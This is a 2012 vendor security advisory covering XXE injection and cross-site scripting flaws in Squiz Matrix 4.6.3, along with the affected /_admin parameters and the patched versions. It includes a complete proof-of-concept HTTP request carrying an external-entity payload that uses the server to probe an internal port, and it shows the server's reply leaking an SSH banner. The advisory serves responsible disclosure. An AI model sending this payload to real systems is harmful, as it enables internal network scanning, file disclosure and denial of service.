In this Section

Sense of Security – Security Advisory – SOS-12-007 – Squiz Matrix Multiple Vulnerabilities


Sense of Security – Security Advisory – SOS-12-007

Release Date. 14-Jun-2012
Last Update.
Vendor Notification Date. 02-Apr-2012
Product. Squiz Matrix
Platform. Independent
Affected versions. 4.6.3 (verified) and possibly others
Severity Rating. Medium
Impact. Exposure of session information
Exposure of system information
Exposure of network information
Denial of Service
Attack Vector. Remote unauthenticated (XXE)
Remote authenticated (XSS)
Solution Status. Patched in version 4.6.5 and 4.8.1 releases  (not verified by SOS)
CVE reference. CVE- Not yet assigned



The product is vulnerable to multiple security vulnerabilities, such as XML eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).


1. XXE Injection:

XXE injection allows a wide range of XML based attacks, including local file disclosure, TCP port scans and a Denial of Service (DoS) condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection.


The following resource accessible by an unauthenticated user is vulnerable:



Proof of Concept (port scanning).

POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive
Content-Length: 84
Connection: close

<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]><scan>&test;</scan>



HTTP/1.0 200 OK

Date: Tue, 27 Mar 2012 06:13:26 GMT

Server: Apache

Set-Cookie: SQ_SYSTEM_SESSION=472r0gjvcn0aqqsgbt7b42fi15;; path=/;

Cache-Control: no-store, no-cache, must-revalidate,

post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 214

Content-Type: text/xml

Connection: keep-alive



[function.simplexml-load-file]: failed to open stream: HTTP request

failed! SSH-2.0-OpenSSH_4.3


File: [SYSTEM_ROOT]/core/lib/asset_map/



2. XSS:

Cross-Site Scripting (XSS) may be used to steal session information,



Several resources of the /_admin page are affected including:

am_section parameter, assetid parameter, sq_asset_path parameter,

sq_backend_log_type parameter, sq_link_path parameter,

asset_ei_screen parameter, current_assetid parameter and

tool_reindex_reindexing_root_assetid [assetid] parameter.


Proof of Concept.







Upgrade to version 4.6.5 or 4.8.1 releases.


Discovered by.

Nadeem Salim from Sense of Security Labs.